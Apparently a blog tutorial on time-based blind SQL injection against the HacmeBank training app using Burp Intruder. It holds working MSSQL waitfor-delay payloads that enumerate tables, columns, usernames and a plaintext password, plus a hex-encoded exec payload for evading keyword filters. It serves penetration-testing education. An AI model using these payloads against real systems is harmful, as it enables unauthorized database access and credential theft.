&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-IivdVByVeWg/TbGWlSnS-iI/AAAAAAAAALY/pAPIWGnIH0E/s1600/login.request.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="497" src="http://4.bp.blogspot.com/-IivdVByVeWg/TbGWlSnS-iI/AAAAAAAAALY/pAPIWGnIH0E/s640/login.request.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
We can send this request to the Repeater tool and inject the SQL syntax, " ' waitfor delay '0:0:30'-- " (omit the double quotes). The vulnerable web application will pass this SQL command directly to the login query causing a 30-second pause.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-kKlMo1KBtM0/TbGXqDO7Z3I/AAAAAAAAALc/HVywFtHK7ZU/s1600/login.delay.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="496" src="http://1.bp.blogspot.com/-kKlMo1KBtM0/TbGXqDO7Z3I/AAAAAAAAALc/HVywFtHK7ZU/s640/login.delay.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
That's all just great but we want to do better than just pause the database during our login query. Let's set the HTTP timeout length from 60 seconds to &lt;b&gt;29&lt;/b&gt; seconds in Burp's timeout options.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/--SEjz1YtVzw/TbGYOGMW1jI/AAAAAAAAALg/NVrqkkpdVmQ/s1600/burp.timeout.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="496" src="http://1.bp.blogspot.com/--SEjz1YtVzw/TbGYOGMW1jI/AAAAAAAAALg/NVrqkkpdVmQ/s640/burp.timeout.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Ok, now we'll send our delay injection request over to the Intruder tool. This time the SQL syntax, " 'if (len(user)=&lt;b&gt;1&lt;/b&gt;) waitfor delay '00:00:30'-- ." It's also necessary to now mark our payload position in Intruder. Put it where the "&lt;b&gt;1&lt;/b&gt;" is.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-5CliZxUK5Ok/TbGZmIFhm0I/AAAAAAAAALk/lVEGjb4ITKU/s1600/user.length.position.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="496" src="http://3.bp.blogspot.com/-5CliZxUK5Ok/TbGZmIFhm0I/AAAAAAAAALk/lVEGjb4ITKU/s640/user.length.position.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Now that the payload position is marked, we need to define the payload. The SQL question is "How long is the USER variable?" Using a numeric payload, we'll guess &lt;b&gt;1&lt;/b&gt; through &lt;b&gt;30&lt;/b&gt;, a wide margin indeed.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-ew5nsZkkMig/TbGZnZTV46I/AAAAAAAAALo/14r5iLOP1GU/s1600/user.length.payload.1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="496" src="http://2.bp.blogspot.com/-ew5nsZkkMig/TbGZnZTV46I/AAAAAAAAALo/14r5iLOP1GU/s640/user.length.payload.1.png" width="640" /&gt;&lt;/a&gt; &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;One more thing to do is to set the Intruder threads to &lt;b&gt;1&lt;/b&gt;, otherwise when one thread delays the SQL database, the others will be delayed as well and false positives will abound.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-VtOxbayFw0M/TbGaft5YPuI/AAAAAAAAALs/JedzKj2CFGU/s1600/burp.intruder.threads.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="496" src="http://1.bp.blogspot.com/-VtOxbayFw0M/TbGaft5YPuI/AAAAAAAAALs/JedzKj2CFGU/s640/burp.intruder.threads.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Now we should get the length of the "USER" variable in the SQL server when this Intruder attack is started. When the correct payload number is guessed, the application will pause for 30 seconds, expiring our 29-second Burp timeout value.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-WaiG1Rp6ecw/TbGbEBt-TQI/AAAAAAAAALw/xpmy9B-oR9w/s1600/user.enum.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="530" src="http://4.bp.blogspot.com/-WaiG1Rp6ecw/TbGbEBt-TQI/AAAAAAAAALw/xpmy9B-oR9w/s640/user.enum.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;At this point a good thing to know is what those 3 characters are that comprise the "USER" variable's length. Just open another Intruder tab and we'll change the attack quite a bit. This time the SQL syntax will be " ' if (ascii(lower(substring((user),&lt;b&gt;1&lt;/b&gt;,1)))&lt;b&gt;=100&lt;/b&gt;) waitfor delay '00:00:30'-- " and there are actually two changing payloads (highlighted in bold). One is the position of the character and the second is the ASCII decimal code of the character in that position.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-iioat9tY4Vk/TbGcSGwO-tI/AAAAAAAAAL0/h_xVbPk71V0/s1600/user.enum.position.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="496" src="http://1.bp.blogspot.com/-iioat9tY4Vk/TbGcSGwO-tI/AAAAAAAAAL0/h_xVbPk71V0/s640/user.enum.position.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;The first payload needs to be numeric and range from 1 to 3 since we know that's the number of the character positions whose ASCII codes we want to guess.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-Zz_ehJkFHeU/TbGc3pOIukI/AAAAAAAAAL4/KKSwTq6mFus/s1600/user.enum.payload.1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="496" src="http://3.bp.blogspot.com/-Zz_ehJkFHeU/TbGc3pOIukI/AAAAAAAAAL4/KKSwTq6mFus/s640/user.enum.payload.1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;For the next payload, we look up our ASCII codes and ponder a bit. 48-126 will get us 0-9, A-Z, and a-z. In our SQL syntax above, you'll notice that we're using the "&lt;b&gt;lower()&lt;/b&gt;" function to reduce the number of ASCII code values to guess but our number range will include them anyway so we're not saving any time there. Since we're asking for a username, I doubt there are any special characters (32-47) in it so we'll just be lazy and use &lt;b&gt;48-126&lt;/b&gt;.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-W7x-m5CAhZI/TbGjfwX18MI/AAAAAAAAAME/nAKLtBuT_5A/s1600/user.enum.payload.2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="496" src="http://2.bp.blogspot.com/-W7x-m5CAhZI/TbGjfwX18MI/AAAAAAAAAME/nAKLtBuT_5A/s640/user.enum.payload.2.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Running this attack should yield the three ASCII codes for the SQL "USER" variable. Sorting the results by length will put all of the 0-length, timed out, "true," responses in line.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;a href="http://3.bp.blogspot.com/-QRPnatT7FFM/TbGjvK7OIcI/AAAAAAAAAMI/otuT5-sZZgU/s1600/user.enum.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="530" src="http://3.bp.blogspot.com/-QRPnatT7FFM/TbGjvK7OIcI/AAAAAAAAAMI/otuT5-sZZgU/s640/user.enum.png" width="640" /&gt;&lt;/a&gt; &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Reading the timed out (true) values:&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Payload 1 value 1 = payload 2 value 100 which is "&lt;b&gt;d&lt;/b&gt;"&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Payload 1 value 2 = payload 2 value 98 which is "&lt;b&gt;b&lt;/b&gt;"&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Payload 1 value 3 = payload 2 value 111 which is "&lt;b&gt;o&lt;/b&gt;"&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Dbo, a good proof of concept but we could have guessed it. Now let's go after some data. How about the SQL syntax, " ' if (ascii(lower(substring((select top 1 name from sysobjects where xtype=char(85) and name like '&lt;b&gt;%user%&lt;/b&gt;'),&lt;b&gt;1&lt;/b&gt;,1)))=&lt;b&gt;100&lt;/b&gt;) waitfor delay '00:00:30'-- ?" This looks for a table that has the word "user" anywhere within. I'm not trying to be sneaky, and blind SQL injection is inherently not sneaky, so I'm just going to guess the length and set the first payload to &lt;b&gt;1&lt;/b&gt; through &lt;b&gt;10&lt;/b&gt;. Hopefully the table is 10 characters or less in length. I'll keep the second payload at &lt;b&gt;48-126&lt;/b&gt; (0-9, A-Z, a-z).&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Y3Dg_GXgMHM/TbGmiaJf_JI/AAAAAAAAAMM/DCkYfFt4xyo/s1600/user.table.enum.positions.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="496" src="http://4.bp.blogspot.com/-Y3Dg_GXgMHM/TbGmiaJf_JI/AAAAAAAAAMM/DCkYfFt4xyo/s640/user.table.enum.positions.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Running this attack should produce the ASCII codes for the first table that contains the word "user."&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;a href="http://1.bp.blogspot.com/-05tWX-oTdyE/TbGmq7qLSqI/AAAAAAAAAMQ/zjY5MjAI_-o/s1600/user.table.enum.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="530" src="http://1.bp.blogspot.com/-05tWX-oTdyE/TbGmq7qLSqI/AAAAAAAAAMQ/zjY5MjAI_-o/s640/user.table.enum.png" width="640" /&gt; &lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;That looks like 102=&lt;b&gt;f&lt;/b&gt;&lt;b&gt;s&lt;/b&gt;, 98=&lt;b&gt;b&lt;/b&gt;, 95=&lt;b&gt;_&lt;/b&gt;, 117=&lt;b&gt;u&lt;/b&gt;, 115=&lt;b&gt;s&lt;/b&gt;, 101=&lt;b&gt;e&lt;/b&gt;, 114=&lt;b&gt;r&lt;/b&gt;, 115=&lt;b&gt;s&lt;/b&gt; (&lt;b&gt;fsb_users&lt;/b&gt;). Right on, so now we want the column names for this "&lt;b&gt;fsb_users&lt;/b&gt;" table. For that we need to query the native Microsoft SQL "information_schema.columns" table. To do that, we'll use the following SQL syntax: " ' if (ascii(lower(substring((select top 1 column_name from information_schema.columns where table_name='&lt;b&gt;fsb_users&lt;/b&gt;'),&lt;b&gt;1&lt;/b&gt;,1)))=&lt;b&gt;100&lt;/b&gt;) waitfor delay '00:00:30'-- ." Again we'll use two payloads, one for character position and the other for ASCII decimal code.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-GKg8Q5XiU7U/TbG8ERum8-I/AAAAAAAAAMY/7ktMDLeZbYw/s1600/user.table.first.column.position.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="496" src="http://1.bp.blogspot.com/-GKg8Q5XiU7U/TbG8ERum8-I/AAAAAAAAAMY/7ktMDLeZbYw/s640/user.table.first.column.position.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Running this attack will enumerate the first column in the "&lt;b&gt;fsb_users&lt;/b&gt;" table.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-NUstW8zhu7c/TbG8Uz424YI/AAAAAAAAAMc/1q2VKeMwInE/s1600/user.table.first.column.enum.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="530" src="http://4.bp.blogspot.com/-NUstW8zhu7c/TbG8Uz424YI/AAAAAAAAAMc/1q2VKeMwInE/s640/user.table.first.column.enum.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;That spells "user_id" which is not very important to me but it does mean that the syntax for the next column in the "fsb_users" table will be, " ' if (ascii(lower(substring((select top 1 column_name from information_schema.columns where table_name='&lt;b&gt;fsb_users&lt;/b&gt;' and column_name&lt;b&gt; &lt;/b&gt;&amp;gt;&lt;b&gt; &lt;/b&gt;&lt;b&gt;'user_id'&lt;/b&gt;),&lt;b&gt;1&lt;/b&gt;,1)))=&lt;b&gt;100&lt;/b&gt;) waitfor delay '00:00:30'-- ."&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-AIOJyji7Egc/TbG-Zd9xKdI/AAAAAAAAAMg/YFqAjGlv3zQ/s1600/user.table.second.column.position.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="496" src="http://1.bp.blogspot.com/-AIOJyji7Egc/TbG-Zd9xKdI/AAAAAAAAAMg/YFqAjGlv3zQ/s640/user.table.second.column.position.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Running this attack yields the second column name of the "&lt;b&gt;fsb_users&lt;/b&gt;" table.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-mHos13Vz8G0/TbG-jVFqckI/AAAAAAAAAMk/1b_GJUWd56g/s1600/user.table.second.column.enum.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="530" src="http://3.bp.blogspot.com/-mHos13Vz8G0/TbG-jVFqckI/AAAAAAAAAMk/1b_GJUWd56g/s640/user.table.second.column.enum.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;That's better because this looks like a column name for which I would be interested in row values. The "&lt;b&gt;user_name&lt;/b&gt;" table can be used again, iteratively, to retrieve the third column using the following syntax, " ' if (ascii(lower(substring((select top 1 column_name from information_schema.columns where table_name='&lt;b&gt;fsb_users&lt;/b&gt;' and column_name &amp;gt; '&lt;b&gt;user_name&lt;/b&gt;'),&lt;b&gt;1&lt;/b&gt;,1)))=&lt;b&gt;100&lt;/b&gt;) waitfor delay '00:00:30'-- "&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;However, let's take a leap of faith and guess at the password column using the "&lt;b&gt;like&lt;/b&gt;" operative: " ' if (ascii(lower(substring((select top 1 column_name from information_schema.columns where table_name='&lt;b&gt;fsb_users&lt;/b&gt;' and column_name like '&lt;b&gt;%pass%&lt;/b&gt;'),&lt;b&gt;1&lt;/b&gt;,1)))=&lt;b&gt;100&lt;/b&gt;) waitfor delay '00:00:30'-- "&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-fbPI70rD6xs/TbHDPOWU72I/AAAAAAAAAMo/7V_AX0M-VpM/s1600/user.table.third.column.position.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="496" src="http://4.bp.blogspot.com/-fbPI70rD6xs/TbHDPOWU72I/AAAAAAAAAMo/7V_AX0M-VpM/s640/user.table.third.column.position.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Running this will give us the name of the first column in the "&lt;b&gt;fsb_users&lt;/b&gt;" table that contains the string, "&lt;b&gt;pass&lt;/b&gt;."&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-W0wC9wImBf4/TbHDaWC6DtI/AAAAAAAAAMs/ax2miGijl04/s1600/user.table.third.column.enum.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="530" src="http://3.bp.blogspot.com/-W0wC9wImBf4/TbHDaWC6DtI/AAAAAAAAAMs/ax2miGijl04/s640/user.table.third.column.enum.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;So now we have the predictable, "&lt;b&gt;password&lt;/b&gt;" column which we can pair with the "&lt;b&gt;user_name&lt;/b&gt;" column to start pulling some rows out. The SQL syntax will be, " ' if (ascii(substring((select top 1 user_name from fsb_users),&lt;b&gt;1&lt;/b&gt;,1))=&lt;b&gt;100&lt;/b&gt;) waitfor delay '00:00:30'-- ." I took the "&lt;b&gt;lower()&lt;/b&gt;" function out just in case the usernames are case-sensitive in the login function.&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-JYfP4FaJrog/TbHFhcYx6-I/AAAAAAAAAMw/KXKmLmARCkM/s1600/user.table.first.username.position.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="496" src="http://3.bp.blogspot.com/-JYfP4FaJrog/TbHFhcYx6-I/AAAAAAAAAMw/KXKmLmARCkM/s640/user.table.first.username.position.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;I want to make sure we account for enough characters that might comprise the first &lt;b&gt;user_name&lt;/b&gt; value so I'll bump payload 1 up to the range, &lt;b&gt;1 - 15&lt;/b&gt;. We'll leave the second payload the same as before.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-G2xHBJmsph4/TbHFwQD1enI/AAAAAAAAAM0/3euri5esx7A/s1600/user.table.first.username.payload.1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="496" src="http://3.bp.blogspot.com/-G2xHBJmsph4/TbHFwQD1enI/AAAAAAAAAM0/3euri5esx7A/s640/user.table.first.username.payload.1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Running this attack should output the first "&lt;b&gt;user_name&lt;/b&gt;" value in the "&lt;b&gt;fsb_users&lt;/b&gt;" table.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-M7B2aXkqZUw/TbHGz7wfKoI/AAAAAAAAAM4/aejIP7ad1mo/s1600/user.table.first.username.enum.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="530" src="http://1.bp.blogspot.com/-M7B2aXkqZUw/TbHGz7wfKoI/AAAAAAAAAM4/aejIP7ad1mo/s640/user.table.first.username.enum.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;So the first "&lt;b&gt;user_name&lt;/b&gt;" is "&lt;b&gt;Jake_Reynolds&lt;/b&gt;." The next query will target this user's password. The SQL syntax is, " ' if (ascii(substring((select top 1 password from fsb_users where user_name = '&lt;b&gt;Jake_Reynolds&lt;/b&gt;'),&lt;b&gt;1&lt;/b&gt;,1))=&lt;b&gt;100&lt;/b&gt;) waitfor delay '00:00:30'-- ." The payload settings can be left alone assuming the user's password is 15 characters or less in length.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-YM-7QgA09e8/TbHINDnQRJI/AAAAAAAAAM8/ONhn0IoMTPc/s1600/user.table.Jake_Reynolds.password.position.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="496" src="http://2.bp.blogspot.com/-YM-7QgA09e8/TbHINDnQRJI/AAAAAAAAAM8/ONhn0IoMTPc/s640/user.table.Jake_Reynolds.password.position.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Running this attack should reveal the password for the user, "&lt;b&gt;Jake_Reynolds&lt;/b&gt;." Any web application worth it's salt is going to hash the password columns and use salt so that collision attacks are difficult. HacmeBank contains an unhashed database column. The following screenshot illustrates why you should make sure and encrypt or hash your password columns:&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-3YGiXnXFdBc/TbHI95cUPBI/AAAAAAAAANA/-pm0Ju0o2HE/s1600/user.table.Jake_Reynolds.password.enum.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="530" src="http://4.bp.blogspot.com/-3YGiXnXFdBc/TbHI95cUPBI/AAAAAAAAANA/-pm0Ju0o2HE/s640/user.table.Jake_Reynolds.password.enum.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;"&lt;b&gt;Jake_Reynolds/P@55w0rd&lt;/b&gt;" it is then. Let's test it out of course.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-MTyB4xDfepo/TbHKKz_1rVI/AAAAAAAAANE/Ix-7f5izljo/s1600/Jake_Reynolds.logged.in.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="344" src="http://4.bp.blogspot.com/-MTyB4xDfepo/TbHKKz_1rVI/AAAAAAAAANE/Ix-7f5izljo/s640/Jake_Reynolds.logged.in.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Works for me. Let's take it a little further though. I have run up against web applications that filter for various SQL syntax like "select" and other basic SQL key words whilst still using vulnerable dynamic SQL statements on the back end. I've always maintained that input validation is not a very effective means of preventing SQL injection and that real remediation means changing your database access layer to use parameterized/precompiled queries.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;One way I've bypassed input filters that look for common words like "if" and "select" is to create a variable, cast it as hex, and execute it. Take the following SQL syntax for instance:&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;" ';declare @P varchar(4000);set @P=cast(0x69662028617363696928737562737472696e67282873656c65637420746f7020312070617&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;373776f72642066726f6d206673625f757365727320776865726520757365725f6e616d65203d20274a6&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;16b655f5265796e6f6c647327292c&lt;b&gt;31&lt;/b&gt;2c3129293d&lt;b&gt;313030&lt;/b&gt;292077616974666f722064656c6179202&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;730303a30303a333027 AS varchar(4000));exec(@P);-- "&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;The 0x69662028617363696928737562737472696e67282873656c65637420746f7020312070617&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;373776f72642066726f6d206673625f757365727320776865726520757365725f6e616d65203d20274a6&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;16b655f5265796e6f6c647327292c&lt;b&gt;31&lt;/b&gt;2c3129293d&lt;b&gt;313030&lt;/b&gt;292077616974666f722064656c6179202&lt;/div&gt;730303a30303a333027 is simply a hex-encoded version of the string, " if (ascii(substring((select top 1 password from fsb_users where user_name = 'Jake_Reynolds'),1,1))=100) waitfor delay '00:00:30' . "&lt;br /&gt;
&lt;br /&gt;
